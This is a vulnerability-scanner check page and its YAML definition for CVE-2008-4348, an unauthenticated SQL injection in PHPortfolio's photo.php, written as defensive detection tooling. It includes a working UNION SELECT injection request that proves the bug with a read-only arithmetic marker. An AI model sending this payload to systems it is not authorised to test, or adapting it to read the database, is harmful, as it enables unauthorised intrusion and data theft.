PHPortfolio — 1 vulnerability check
noctis ships 1 vulnerability check for PHPortfolio, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
PHPortfolio photo.php id SQL Injection
| CVE | CVE-2008-4348 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/phportfolio/CVE-2008-4348.yaml |
PHPortfolio (version 1.3 and earlier) pastes the id parameter of photo.php, unquoted and unchecked, into the SQL query that loads a photo, without authentication, allowing SQL injection (an attacker can read the whole application database, including the administrator account).
This check requests photo.php under the web root and the usual PHPortfolio directories, with an id value that appends a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page shows the product computed by the database, which never appears in the request. No stored data is read and nothing is written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/photo.php?id={{sc.q}} HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
hit_dirfor^/→ finding QoD 97: PHPortfolio photo.php id SQL Injection (CVE-2008-4348)
References:
Feed source — tests/vulnerabilities/phportfolio/CVE-2008-4348.yaml
# PHPortfolio photo.php id SQL injection — CVE-2008-4348
#
# photo.php (PHPortfolio 1.3 and earlier) pastes the id GET parameter, unquoted and
# unchecked, into the query that loads a photo row, with no authentication, and prints
# the film, lens and location columns of the returned row. The query has 6 columns.
#
# Detection, per candidate base path (web root, /phportfolio, /portfolio):
# 1. (QoD 97) photo.php?id=48 and 1=2 union select 1,E,E,E,E,6 where E is
# CONCAT(0x4e4f43544953,a*b,0x454e44) with random six-digit a, b. The vulnerable page
# prints NOCTIS<a*b>END; the product is never in the request, so a page that only
# reflects the request cannot produce it. Read-only: no table is selected from and
# nothing is written.
#
# Better than the source NASL: it matches a fixed marker (and needs the "Powered by
# PHPortfolio" banner on index.php), which a page echoing the query string could fake; a
# database-computed product of random operands cannot be faked and needs no banner. The
# marker is put in each of the four displayed columns, so it does not matter which one the
# template prints.
#
# The query carries '+' separated SQL and a literal comma list, so it is sent with
# tcp_connect (verbatim HTTP/1.0 request).
#
# Source: OpenVAS/Greenbone NVT 2011/gb_phportfolio_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.902521, GPL-2.0-only).
# CVSS: NVD publishes only a v2 score (7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P) for this CVE.
uid: a5acf417-beb7-47a7-b6c8-1ac6438601cb
name: "PHPortfolio photo.php id SQL Injection (CVE-2008-4348)"
description: |
PHPortfolio (version 1.3 and earlier) pastes the id parameter of photo.php, unquoted
and unchecked, into the SQL query that loads a photo, without authentication, allowing
SQL injection (an attacker can read the whole application database, including the
administrator account).
This check requests photo.php under the web root and the usual PHPortfolio directories,
with an id value that appends a UNION SELECT of an expression multiplying two random
numbers. The vulnerability is confirmed when the page shows the product computed by the
database, which never appears in the request. No stored data is read and nothing is
written.
cves: [CVE-2008-4348]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [phportfolio, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2008-4348"
# OpenVAS/Greenbone NASL 2011/gb_phportfolio_sql_inj_vuln.nasl (GPL-2.0-only)
steps:
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
#{ want: "NOCTIS" + (a * b) + "END",
expr: a + "*" + b,
q: "48+and+1=2+union+select+1," + c + "," + c + "," + c + "," + c + ",6" }
store_as: sc
- id: init-hit
action: set_var
var_name: hit_dir
var_value: ""
- id: init-resp
action: set_var
var_name: resp
var_value: {banner: ""}
loop:
var: dir
over: ["", "/phportfolio", "/portfolio"]
- id: probe
action: tcp_connect
port: "{{port}}"
send: "GET {{dir}}/photo.php?id={{sc.q}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 15
condition: 'hit_dir == ""'
store_as: resp
- id: check
action: script
condition: 'hit_dir == ""'
code: |
let body = if type_of(resp.banner) == "string" { resp.banner } else { "" };
if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
store_as: hit_dir
- id: report
action: match
source: hit_dir
pattern: "^/"
on_match:
finding:
title: "PHPortfolio photo.php id SQL Injection (CVE-2008-4348)"
description: "An unauthenticated photo.php request whose id value appends a UNION SELECT multiplying two random numbers returned the product computed by the database: an attacker can read the whole application database, including the administrator account."
remediation: "Remove PHPortfolio (no fixed release is known) or restrict access to photo.php."
confidence_delta: 0.67
qod: 97
evidence: "base path {{hit_dir}}: photo.php?id=48 and 1=2 union select 1,CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),...,6 printed the database-computed value {{sc.want}}"
stop: true